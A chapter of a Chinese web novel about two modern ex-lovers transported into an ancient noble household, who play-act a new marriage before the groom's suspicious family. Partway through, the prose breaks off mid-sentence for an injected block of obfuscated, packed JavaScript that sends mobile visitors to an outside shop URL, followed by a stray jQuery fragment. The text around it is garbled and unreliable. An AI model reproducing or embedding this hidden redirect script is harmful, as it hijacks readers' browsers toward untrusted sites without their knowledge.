第五章
陆家正厅里坐满了人,似乎都在等待新婚的小夫妻,但是脸上的表情却与新婚大喜之类的无关。
陆老夫人共生了三个孩子,两女一男,其中一男就是陆涯的父亲陆克己,时任礼部尚书。
但是陆克己却不在,不仅陆克己不在,就连陆府的最高掌权者陆老太爷,当朝右相陆忻也不在。
现在厅里坐着的,除了陆涯的祖母和母亲,还有两个姑姑,其他的皆是陆家同族里走的比较近的几家。
“圣上故意挑父亲和大哥不在京的时候赐婚,还定下成亲日期,时间如此仓促,很明显就是为了让我们没有时间反对,母亲,这婚,就真的这么结了?”陆涯的二姑姑愁容满面问道。
其他亲友跟着附和,说宁家主事的人现下也不在京,皇帝这就是故意的,铁了心的要把两个人凑到一起。
众人越说越焦虑,彼此交流议论起来,还有人提到了大皇子,陆老夫人拍了一下桌子,众人立马噤声看向她。
“深闺妇人,不得妄议朝政。”
陆涯的叔叔伯伯们彼此对视,虽然他们不属于深闺妇人,但是一样也不敢再说话。
整个陆家家族,陆忻是老大,如今陆忻不在,陆老夫人就是最有权势的人,她说的话,没有人敢反驳。
不能议论朝政,那就只能说说八卦了。
“这宁家的小丫头也太不知礼数了,这都什么时辰了还不来请安敬茶?真是没有家教!”
“满京城谁不知道宁家三小姐无礼粗鲁,骄横跋扈,嫁给平民百姓都难,更何况是我们相府?真是想想就恶心,难为我们丫儿了。”
丫儿是陆涯的小名,既然说到他了,因为昨晚的婚宴也是糊弄人的,众人走的早,还不知道昨晚出了什么事,都关切的问陆涯现在怎么样了,是不是心里委屈憋闷所以不愿意出来。
他们并不知道陆涯昨晚是和宁然在一起住的。
陆老夫人和陆夫人把人都叫过来,其实也不是为了喝宁然敬的茶的,因为她们根本就不打算认这个新妇,她们巴不得她别来,省得彼此麻烦,她们在意的只是陆涯。
昨晚陆涯种种奇怪的举止她们还是不放心,想让人来一起看看,要是陆涯真的有什么事,可得赶紧找得道高僧来驱邪了......
可她们还没来得及张口解释,就听到下人传话说少爷和少夫人来了。
陆涯正沉浸在夫君这两个字里,仔细品味,强压嘴角,就听到身边挽着他的宁然说:“剑耍的不错嘛,以后咱们万一遇到什么事穷的吃不上饭了,你还能去街上耍剑卖艺,不错不错,哎,你会不会喷火啊?”
“......闭嘴吧你!”
宁然觉得自己只是在很认真的分析陆涯在这个游戏里拥有的技能,但是发现陆涯不配合,又觉得他中二病犯了,白了他一眼,陆涯觉得宁然实在是很会煞风景,也脸色不善。
两人虽然挽着手一起出现,但是脸上的表情却都不是很好看,众人见了,一时间觉得合理又不合理。
摆脸色,合理。
亲密挽手,不合理。
随着眼神扫过众人,陆涯脑海中的记忆依次更新,他强装镇定,带着宁然走到陆老夫人面前跪下,宁然按照约定好的,也不说话,一切听从陆涯的指挥。
“孙儿携孙媳给祖母,母亲,及各位长辈请安,小家初成,望以后多加照拂,孙儿在此谢过。”
这下子,不用陆老夫人和陆夫人说,众人也发现不对劲了。
这人谁啊?
我们那个飞扬跋扈,纨绔霸道的丫儿呢?
举止有礼版本的陆涯接着道歉说他们来晚了,耽误大家吃饭了,吩咐人赶紧上早饭。
巨大一张饭桌上摆着品类丰富的各种早点,但是围坐的众人皆无心饮食,只顾盯着陆涯看,除了宁然。
这相府伙食可真好啊,宁然前一天只吃了一顿饭,晚上又发热出汗,身体虚的很,急需补充能量,她默默的咽口水。
陆涯就坐在陆老夫人的旁边,他起身给身边的祖母夹菜,说了些孝顺体贴的话,陆老夫人勉为其难吃了两口,其他人见状也装模作样吃了起来。
直到看见陆涯给宁然夹菜时,众人再次坐不住了。
不对劲,真的不对劲。
陆涯的二姑姑心直口快,心里藏不住事,直接张口要问,可是刚开了个口,就被陆涯用眼神制止了。
宁然正在埋头吃饭,陆涯用眼神斜了她一眼,冲二姑姑摇了摇头,这下子众人更是没心思吃饭了,也更加安静了,整个饭桌上,只有宁然快乐吃饭的声音。
景儿看着自己家小姐吃饭的样子,不觉皱眉,趁着给她递帕子的时候,轻轻捏了捏她的肩膀,但是宁然却反手捏了下她的手指,趁人不注意,冲她眨了下眼。
宁然接过帕子还要继续吃,陆涯突然凑近,柔声问她是不是吃饱了,宁然知道他是让她别再吃了,恋恋不舍又看了一眼桌上的饭菜,点了点头。
“我跟祖母说会话,你先回房间去等我,待会我带你在府里逛逛。”
宁然点点头,起身,环视众人,最后把目光停留在陆老夫人身上,冲她微微躬身行礼,然后转身,由景儿扶着直接离开了。
等宁然一消失,陆涯立马长出一口气,身体也放松下来,没什么规矩的瘫坐在椅子上,说了一句累死了,二姑姑再次忍不住,问他到底是怎么回事。
“我做戏呢,你们难道没看出来?圣上趁祖父和父亲不在,硬塞给我一个媳妇,简直阴险!”
陆老夫人忙去捂陆涯的嘴,斥责他别乱说,陆涯偏过头去挣脱开,一脸狂傲的说他才不会白白受人摆布呢,“他以为支开祖父和父亲,我们陆家就任凭揉捏了?我陆涯也不是好惹的!既然把宁家的姑娘送过来了,那我必得好好利用一番,哼!”
现在这个像是众人认识的丫儿了,狂妄自大,愚蠢鲁莽。
“你是说刚刚那些都是你装的?你到底要做什么啊?”陆老夫人握着陆涯的手拍了拍,问道。
陆涯兴奋又得意的把他的计划告诉众人,他说他已经把昨晚给宁然下药的锅推给陆夫人了,他英雄救美以后,跟宁然说他对这门亲事也不情愿,但是既然两人如今已经成亲了,那以后就要相互扶持,相敬如宾着过下去。
“什么意思?你难道真的打算跟她好好过日子?”
“当然不会!说了我这是在做戏嘛!她现在相信我,等我再哄一哄她,让她对我倾心,那她就是我手里的一颗棋子了,她是,宁家自然也会是,那我们不就有了更多的筹码帮助大皇子扳倒三皇子了?”
陆老夫人再次捂住了陆涯的嘴。
这副口无遮拦的样子,是陆涯无疑了,众人放下心来,但是却纷纷表示陆涯的法子肯定没用,大少爷陆涯觉得自己被轻视了,站起来发了一顿脾气,让众人等着瞧,转身气呼呼的走了。
回到陆涯的房间关上门后,景儿问宁然刚刚是什么意思,宁然说:“你没发现他们在桌上眉来眼去的吗?定是背着我算计什么呢。”
“可是这跟小姐的吃相有什么关系呢?”
“......我故意的!我是在给他们一个下马威!”
下马威?威在哪?
景儿还没搞明白,但是宁然突然换了话题,问她的哥哥姐姐怎么样了。
她只知道她有一个哥哥一个姐姐,但是两个人具体的人格品性她还是想不起来。
“大少爷和二小姐都可担心小姐你了,但是大少爷和老爷出门处理公事了,等后日回门,希望他们已经回来了,那样小姐你就可以见到他们了,真好啊!”
说了等于没说......宁然想再细问又怕露馅,刚刚陆家那些人看着陆涯那种奇怪的眼神宁然记忆犹新,如果真的被认定为中邪了不知道会怎么样,眼下还是小心为好。
唉,还没吃饱呢,宁然摸摸肚子舔舔嘴,很想再吃点什么,正想着呢陆涯就回来了,手里提着食盒,宁然眼睛一亮。
陆涯让景儿先出去,景儿犹豫着看向宁然,宁然说她忙了一早上了,让她快去先吃点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637914|206623||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
东西。
等景儿离开了,宁然兴冲冲打开食盒,看到里面的糕点哇了一声,直接伸手捏了一块咬了一口,幸福的闭上眼睛仔细品味,黑芝麻的香味在口中化开,甜而不腻,香而不油,真是好手艺。
特意绕路去了一趟厨房的陆涯进门前想到宁然早上说他谈恋爱不负责任的话还在后悔给她带吃的,但是现在看见她享受的表情,又觉得多绕点路也没什么了。
“我现在也会做甜品了。”陆涯坐下,边倒水边说。
“甜品?比如?”
“巴斯克,磅蛋糕,曲奇蛋挞舒芙蕾,布丁奶茶仙草冻,我都会。”
宁然喝了一口陆涯递过来的水,咽下嘴里的黑芝麻核桃酥,说:“真的假的?那为什么我们在一起的时候你不学?这些东西还是我带你见世面吃的呢,真是的,分手了你倒是又什么都会了......真是前人栽树后人乘凉啊......”
“栽树?你栽了吗?你挖了个坑就跑了,是树自己顽强不息才活下来的!”
“行行行,不就是会做个甜品吗,有什么了不起的,我认识好多顶级甜品师,享誉全球的那种,你这种家庭作坊谁稀罕啊。”
“我——”
“别我了,快说说你那边什么情况吧!早上吃个早饭我看他们恨不得往你身上泼黑狗血了,你怎么应付过去的?靠谱吗?”
陆涯捂着心口,闭目片刻,提醒自己目前的处境,再睁开眼时,用死人脸把他刚刚在陆家众人面前的表现说了一遍。
把一整盘糕点吃完,宁然终于觉得饱了,她把双手举到陆涯面前拍了拍夸他演技好,陆涯白了她一眼,一言不发的起身往外走。
这是陆涯计划好的,带宁然在陆府逛一圈,一是熟悉地形,二也是想试着触发更多记忆。
“等等我啊夫君!”
宁然跳出门外,追上陆涯,挽住了他的胳膊,许是称呼正确了,陆涯脸色好了点,一边走一边跟宁然讨论这个系统关于记忆设置的问题。
很明显,两人目前所知的信息都是片面的,出现新的人物脑海中会自动涌入新的记忆,但是这个记忆又不是完整的。
比如陆涯看见陆老夫人会自动想起跟她有关的记忆,但是跟祖母在一起时,难道祖父和父亲从未在场吗?为什么关于那两个人的记忆还是很模糊呢?
“没错,我看见景儿就拥有了跟她的记忆,但如果她是我的贴身丫鬟,那我在家跟家人相处时她不可能全都不在,但是我却只有跟她一个人的记忆。这个系统太狡猾了,给我们信息,但又不让我们全部知道,而身份暴露又有可能面临未知的危险,所以我们一定要小心谨慎,千万不能掉以轻心,更不能犯中二病,翻分手的旧账。”
“......”
沉默着走了一会,陆涯终于想到了反击的话,“也不能看见吃的就什么都忘了。”
“没错,你们家伙食确实不错,但是你要牢记你是个大少爷,每天都吃这些早都腻了,可千万别再像早上一样看见吃的那么惊讶了。”
“谁惊讶了?明明是你一直闷头苦吃,什么都忘了!我让你暗中观察你观察出什么了?”
这种大家族人多的时候,早饭确实摆的多了一些,陆涯一个从现代社会来,早上一杯咖啡一个三明治就OK的人,看见那么多吃的不免有些吃惊,但那几乎只是瞬间而已,没想到宁然竟然会发现。
“我是不情不愿嫁进来的,刚来就被你们家下药,我心里自然是很不爽的,既然如此,我就没有必要知礼懂仪,就该不把你们所有人放在眼里,所以我眼里只有吃的是在表现一种轻视,一种傲慢,唉,这太深奥了,你不懂不怪你,表演里面的门道深着呢,以后慢慢学吧,啊。”
原来你这么懂表演啊,那以前的浓情蜜意也是演的吗?陆涯想问又不敢问,只默默听着。
“哦,你刚刚问我观察到了什么是吧?我除了看出来你家里人想给你泼狗血以外,还注意到一件事,整个桌子上,只有一个人看你的眼神与旁人不一样,就是你的母亲。”